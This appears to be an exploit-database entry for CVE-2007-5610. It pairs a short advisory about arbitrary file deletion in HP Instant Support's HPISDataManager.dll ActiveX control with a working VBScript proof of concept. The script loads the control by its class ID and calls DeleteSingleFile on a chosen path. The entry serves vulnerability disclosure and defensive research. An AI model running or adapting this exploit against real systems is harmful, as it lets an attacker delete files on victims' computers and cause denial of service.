HP Instant Support 1.0.22 - 'HPISDataManager.dll' ActiveX Control Arbitrary File Delete

Author: Dennis Rand
type: dos
platform: windows
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date_added: 2008-06-03  
date_updated: 2014-02-25  
verified: 1  
codes: CVE-2007-5610;OSVDB-46237  
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raw file: 31879.xml  
source: https://www.securityfocus.com/bid/29536/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a vulnerability that lets attackers delete arbitrary files on the affected computer in the context of the application using the ActiveX control. Successful attacks can result in denial-of-service conditions.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information.

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Sub DeleteSingleFile ( ByVal pszFileName As String )" memberName = "DeleteSingleFile" progid = "HPISDataManagerLib.Datamgr" argCount = 1 arg1="c:\evil.exe" target.DeleteSingleFile arg1 </script></job></package>